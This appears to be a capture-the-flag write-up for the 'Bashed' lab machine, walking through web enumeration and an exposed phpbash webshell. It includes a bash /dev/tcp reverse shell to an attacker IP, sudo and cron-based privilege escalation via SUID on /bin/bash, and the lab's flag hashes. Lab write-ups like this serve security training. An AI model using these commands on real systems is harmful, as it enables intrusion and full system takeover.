Bashed
Machine Details
Resolution Summary
- Enumerate web service to find phpbash.php (inside /dev/).
- Establish an interactive Bash reverse shell.
- Pivot to scriptmanager using sudo permissions.
- Enumerate files of gid 1001 to find a script that gets executed every minute as root.
- Modify script to escalate privileges.
Used tools
- nmap
- ffuf
- python3
Information Gathering
Scanned all TCP ports:
❯ sudo nmap -p- -sS -Pn -n --open -T4 10.129.65.100 -oG ports
PORT STATE SERVICE
80/tcp open httpEnumerated open TCP ports:
❯ nmap -p80 -sCV -Pn -n -T4 10.129.65.100 -oN nmap
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development SiteEnumeration
Port 80 - HTTP (Apache)
If we go to the webpage we can see it talks about a tool which would allow us to have a webshell.

We can click the arrow to go into the post which talks about the tool in more detail.

The screenshot shows the file phpbash.php could be located at /uploads/phpbash.php. We can travel there to see it’s empty.
So we start by fuzzing the webpage.
❯ ffuf -w=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.129.65.100/FUZZ -e .php,.html
uploads [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 45ms]
dev [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 72ms]Among all the results we can see two that stand out from the other, both of them seems to be folders, one called uploads while the other is called dev.
We can check both of them using our web browser, we will see that /uploads/ contains nothing, while /dev/ has directory listing enabled, showing us the phpbash.php file.

If we try it out, we see the shell is completely functional.

Exploitation
Reverse Shell
We already got a shell in the remote system as www-data, to work easily, we will launch a Reverse Shell and do the proper TTY Treatment. To launch the shell we can use a normal bash command, while listening on the especified port. The command we will be using today is.
bash -c 'bash -i >& /dev/tcp/10.10.17.107/3000 0>&1'But, as we are sending it to a web page, to make sure all the characters get processed correctly, we will URL Encode the &, which gets converted to %26, so our final command is the following.
bash -c 'bash -i >%26 /dev/tcp/10.10.17.107/3000 0>%261'Now we need to do a TTY Treatment in order to have a fully functional shell. We can do this by following the next steps.
script /dev/null -c /bin/bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
# Check terminal size in attacker.
stty size
# Set terminal size in reverse shell.
stty rows X cols YOnce we completed all these steps, we have a fully functional reverse shell.
We can find user flag in /home/arrexel/user.txt.
Lateral Movement to scriptmanager
Local Enumeration
We can quickly see that we have permissions to run any command as the user scriptmanager.
www-data@bashed:/var/www/html/dev$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALLLateral Movement vector
This means we can execute a shell as that user.
www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/var/www/html/dev$ whoami; id
scriptmanager
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)Privilege Escalation to root
Local Enumeration
If we list files owned by scriptmanager we will see the following.
scriptmanager@bashed:/var/www/html/dev$ find / -uid 1001 2>/dev/null | grep -v "/proc"
/scripts
/scripts/test.py
scriptmanager@bashed:/var/www/html/dev$ cd /scripts
scriptmanager@bashed:/scripts$ ls -la
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Jan 6 15:00 test.txt
scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
scriptmanager@bashed:/scripts$ date
Tue Jan 6 15:00:56 PST 2026We are able to see that the file test.txt was created “just now”, if we monitor it we can see the time changing every minute. So there’s probably a crontab of root running this test.py.
We can confirm this by monitoring processes using the following script.
scriptmanager@bashed:/tmp$ cat procmon.sh
#!/bin/bash
old_ps="$(ps -eo user,command)"
while true; do
new_ps="$(ps -eo user,command)"
diff <(echo "$old_ps") <(echo "$new_ps") | grep "[\>\<]" | grep -Ev "kworker|procmon.sh"
old_ps="$new_ps"
done
scriptmanager@bashed:/tmp$ ./procmon.sh
> root /usr/sbin/CRON -f
> root /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
> root python test.py
< root /usr/sbin/CRON -f
< root /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
< root python test.pyPrivilege Escalation vector
So, we know that root is running every file ending in .py inside the /scripts folder. This means we can just create or modify one of them to execute code as root. The easiest way, giving SUID privileges to /bin/bash.
scriptmanager@bashed:/scripts$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash
scriptmanager@bashed:/scripts$ nano test.py
scriptmanager@bashed:/scripts$ cat test.py
import os
os.system("chmod u+s /bin/bash")
scriptmanager@bashed:/scripts$ /tmp/procmon.sh
> root /usr/sbin/CRON -f
> root /usr/sbin/CRON -f
< root /usr/sbin/CRON -f
< root /usr/sbin/CRON -f
^C
scriptmanager@bashed:/scripts$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash
scriptmanager@bashed:/scripts$ /bin/bash -p
bash-4.3# whoami; id; cat /root/root.txt
root
uid=1001(scriptmanager) gid=1001(scriptmanager) euid=0(root) groups=1001(scriptmanager)
9ba82132253dc412bbb0437caae0655eTrophy
User.txt
a45eb9c9414a33cb83eb0bd3b4e6cf7f
Root.txt
9ba82132253dc412bbb0437caae0655e